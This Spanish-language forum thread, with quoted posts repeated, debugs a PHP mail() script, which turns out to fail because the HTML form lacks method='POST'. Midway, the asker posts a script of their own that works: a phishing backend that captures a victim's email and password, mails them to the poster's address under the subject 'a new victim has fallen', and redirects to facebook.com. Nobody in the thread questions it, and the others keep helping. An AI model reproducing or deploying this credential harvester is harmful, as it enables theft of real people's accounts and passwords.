Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.
<form action="correof.php">
<input name="correof">
<button type="submit">Enviar</button>
</form>
correof.php
<?php
$correoreceptor = trim($_POST['correof']);
$asunto = "Prueba";
$mensaje = "Prueba";
mail($correoreceptor, $asunto, $mensaje);
header('Location: xxxxxxxxxxxxxx');
?>
A ver si saben porque es, porque ando loco.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Buenas a todos, ya he mandado mails otras veces en php, pero ahora no se en que estoy fallando que no se manda. Dejo el form del html y el codigo php.
<form action="correof.php">
<input name="correof">
<button type="submit">Enviar</button>
</form>
correof.php
<?php
$correoreceptor = trim($_POST['correof']);
$asunto = "Prueba";
$mensaje = "Prueba";
mail($correoreceptor, $asunto, $mensaje);
header('Location: xxxxxxxxxxxxxx');
?>
A ver si saben porque es, porque ando loco.
subiste un phpinfo, y te fijaste si tiene la funcion mail activada?
No, pero se que la tiene activada porque ya he utilizado la funcion mail y ha funcionado. Lo tengo subido en hostinger.
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.
Usando mail() para enviar un correo simple:
<?php
// El mensaje
$mensaje = "Línea 1\r\nLínea 2\r\nLínea 3";
// Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
$mensaje = wordwrap($mensaje, 70, "\r\n");
// Enviarlo
mail('[email protected]', 'Mi título', $mensaje);
?>
Probare a añadirle /r/n a ver que tal...
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Es por culpa del mail, necesitas poner el final, el "\r\n". Te dejo copypaste de php.net
Ejemplo #1 Enviar un correo.
Usando mail() para enviar un correo simple:
<?php
// El mensaje
$mensaje = "Línea 1\r\nLínea 2\r\nLínea 3";
// Si cualquier línea es más larga de 70 caracteres, se debería usar wordwrap()
$mensaje = wordwrap($mensaje, 70, "\r\n");
// Enviarlo
mail('[email protected]', 'Mi título', $mensaje);
?>
Sigue sin enviarse, aclaro que no me da ningun error, simplemente no se envia...
Pruebalo en otro servidor, como dijo hielasangre debe ser la configuracion ;)
Eso habia pensado, contratare otro servicio de hosting gratuito... Gracias por contestar.
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Acabo de testear en otro host y sigue sin funcionar, yo creo que es por el code, pero no se...
Has visto en correos de spam?
Tampoco esta en spam, el host si me manda correos con este script
<?php
$user = trim($_POST['email']);
$password = trim($_POST['password']);
$correoreceptor = "[email protected]";
$asunto = "Ha caido una nueva víctima";
$mensaje = "Usuario: ".$user." - Contraseña: ".$password;
mail($correoreceptor, $asunto, $mensaje);
header('Location: https://www.facebook.com');
?>
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Tampoco esta en spam, el host si me manda correos con este script
<?php
$user = trim($_POST['email']);
$password = trim($_POST['password']);
$correoreceptor = "[email protected]";
$asunto = "Ha caido una nueva víctima";
$mensaje = "Usuario: ".$user." - Contraseña: ".$password;
mail($correoreceptor, $asunto, $mensaje);
header('Location: https://www.facebook.com');
?>
Si has solucionado el tema marcalo como tal para que lo cierren ;)
No lo he solucionado, eso es otro script que hice que si me lo mandaba, el primero que postee es otro diferente que no se manda, la diferencia es que en lugar de modificar el mensaje a partir del input se modifica el correo receptor y empieza a fallar, esta noche intentare arreglarlo y si lo consigo posteare la solucion.
en form pone method='POST' ....
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
en form pone method='POST' ....
LEL Cierto! ;D